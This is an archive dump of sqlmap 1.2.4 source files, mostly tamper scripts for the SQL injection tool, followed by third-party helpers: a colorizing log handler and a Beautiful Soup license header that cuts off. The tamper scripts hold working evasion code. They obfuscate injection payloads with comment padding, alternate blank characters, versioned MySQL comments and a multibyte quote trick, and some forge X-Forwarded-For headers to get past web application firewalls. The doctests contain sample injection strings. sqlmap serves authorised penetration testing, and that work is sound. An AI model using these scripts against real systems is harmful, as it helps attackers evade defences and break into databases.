�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2dash.py�������������������������������������������������������������������0000664�0000000�0000000�00000002317�13260122637�0016677�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import random import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL * SQLite Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2hash.py�������������������������������������������������������������������0000664�0000000�0000000�00000002772�13260122637�0016710�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import random import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL Tested against: * MySQL 4.0, 5.0 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ������sqlmap-1.2.4/tamper/space2morecomment.py������������������������������������������������������������0000664�0000000�0000000�00000002326�13260122637�0020305�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**_**/' Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**_**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**_**/" continue retVal += payload[i] return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2morehash.py���������������������������������������������������������������0000664�0000000�0000000�00000004210�13260122637�0017560�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import random import string from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.41 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' """ def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() retVal = "" if payload: payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2mssqlblank.py�������������������������������������������������������������0000664�0000000�0000000�00000004750�13260122637�0020132�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Eid%0DFROM%07users' """ # ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') retVal = payload if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ������������������������sqlmap-1.2.4/tamper/space2mssqlhash.py��������������������������������������������������������������0000664�0000000�0000000�00000001566�13260122637�0017770�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2mysqlblank.py�������������������������������������������������������������0000664�0000000�0000000�00000003604�13260122637�0020135�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL Tested against: * MySQL 5.1 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%A0id%0BFROM%0Cusers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) # A0 non-breaking space blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ����������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2mysqldash.py��������������������������������������������������������������0000664�0000000�0000000�00000002205�13260122637�0017761�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL Tested against: Notes: * Useful to bypass several web application firewalls. >>> tamper('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2plus.py�������������������������������������������������������������������0000664�0000000�0000000�00000002350�13260122637�0016740�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with plus ('+') Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases >>> tamper('SELECT id FROM users') 'SELECT+id+FROM+users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue retVal += payload[i] return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2randomblank.py������������������������������������������������������������0000664�0000000�0000000�00000003137�13260122637�0020251�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import random from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/symboliclogical.py��������������������������������������������������������������0000664�0000000�0000000�00000001115�13260122637�0020031�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) >>> tamper("1 AND '1'='1") "1 %26%26 '1'='1" """ retVal = payload if payload: retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) return retVal ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/unionalltounion.py��������������������������������������������������������������0000664�0000000�0000000�00000000745�13260122637�0020122�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces UNION ALL SELECT with UNION SELECT >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload ���������������������������sqlmap-1.2.4/tamper/unmagicquotes.py����������������������������������������������������������������0000664�0000000�0000000�00000002367�13260122637�0017553�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") '1%bf%27-- ' """ retVal = payload if payload: found = False retVal = "" for i in xrange(len(payload)): if payload[i] == '\'' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue if found: _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) if _ != retVal: retVal = _ retVal += "-- " elif not any(_ in retVal for _ in ('#', '--', '/*')): retVal += "-- " return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/uppercase.py��������������������������������������������������������������������0000664�0000000�0000000�00000002020�13260122637�0016640�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with upper case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('insert') 'INSERT' """ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.upper()) return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/varnish.py����������������������������������������������������������������������0000664�0000000�0000000�00000001660�13260122637�0016334�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Append a HTTP header 'X-originating-IP' to bypass WAF Protection of Varnish Firewall Notes: Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A """ headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload ��������������������������������������������������������������������������������sqlmap-1.2.4/tamper/versionedkeywords.py������������������������������������������������������������0000664�0000000�0000000�00000003117�13260122637�0020447�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each non-function keyword with versioned MySQL comment Requirement: * MySQL Tested against: * MySQL 4.0.18, 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/versionedmorekeywords.py��������������������������������������������������������0000664�0000000�0000000�00000003333�13260122637�0021332�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each keyword with versioned MySQL comment Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/xforwardedfor.py����������������������������������������������������������������0000664�0000000�0000000�00000001273�13260122637�0017536�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) def tamper(payload, **kwargs): """ Append a fake HTTP header 'X-Forwarded-For' to bypass WAF (usually application based) protection """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() return payload �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/����������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015207�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/__init__.py�����������������������������������������������������������������0000664�0000000�0000000�00000000000�13260122637�0017306�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/ansistrm/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017047�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/ansistrm/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000000000�13260122637�0021146�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/ansistrm/ansistrm.py��������������������������������������������������������0000664�0000000�0000000�00000011573�13260122637�0021270�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. # import logging import os import re import subprocess import sys from lib.core.convert import stdoutencode if subprocess.mswindows: import ctypes import ctypes.wintypes # Reference: https://gist.github.com/vsajip/758430 # https://github.com/ipython/ipython/issues/4252 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL class ColorizingStreamHandler(logging.StreamHandler): # color names to indices color_map = { 'black': 0, 'red': 1, 'green': 2, 'yellow': 3, 'blue': 4, 'magenta': 5, 'cyan': 6, 'white': 7, } # levels to (background, foreground, bold/intense) level_map = { logging.DEBUG: (None, 'blue', False), logging.INFO: (None, 'green', False), logging.WARNING: (None, 'yellow', False), logging.ERROR: (None, 'red', False), logging.CRITICAL: ('red', 'white', False) } csi = '\x1b[' reset = '\x1b[0m' disable_coloring = False @property def is_tty(self): isatty = getattr(self.stream, 'isatty', None) return isatty and isatty() and not self.disable_coloring def emit(self, record): try: message = stdoutencode(self.format(record)) stream = self.stream if not self.is_tty: if message and message[0] == "\r": message = message[1:] stream.write(message) else: self.output_colorized(message) stream.write(getattr(self, 'terminator', '\n')) self.flush() except (KeyboardInterrupt, SystemExit): raise except IOError: pass except: self.handleError(record) if not subprocess.mswindows: def output_colorized(self, message): self.stream.write(message) else: ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') nt_color_map = { 0: 0x00, # black 1: 0x04, # red 2: 0x02, # green 3: 0x06, # yellow 4: 0x01, # blue 5: 0x05, # magenta 6: 0x03, # cyan 7: 0x07, # white } def output_colorized(self, message): parts = self.ansi_esc.split(message) write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) if fd is not None: fd = fd() if fd in (1, 2): # stdout or stderr h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) while parts: text = parts.pop(0) if text: write(text) if parts: params = parts.pop(0) if h is not None: params = [int(p) for p in params.split(';')] color = 0 for p in params: if 40 <= p <= 47: color |= self.nt_color_map[p - 40] << 4 elif 30 <= p <= 37: color |= self.nt_color_map[p - 30] elif p == 1: color |= 0x08 # foreground intensity on elif p == 0: # reset to default color color = 0x07 else: pass # error condition ignored ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) def colorize(self, message, record): if record.levelno in self.level_map and self.is_tty: bg, fg, bold = self.level_map[record.levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: if message.lstrip() != message: prefix = re.search(r"\s+", message).group(0) message = message[len(prefix):] else: prefix = "" message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 'm', message, self.reset))) return message def format(self, record): message = logging.StreamHandler.format(self, record) return self.colorize(message, record) �������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/beautifulsoup/��������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0020076�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/beautifulsoup/__init__.py���������������������������������������������������0000664�0000000�0000000�00000003210�13260122637�0022203�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c) 2004-2010, Leonard Richardson # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # * Neither the name of the the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE 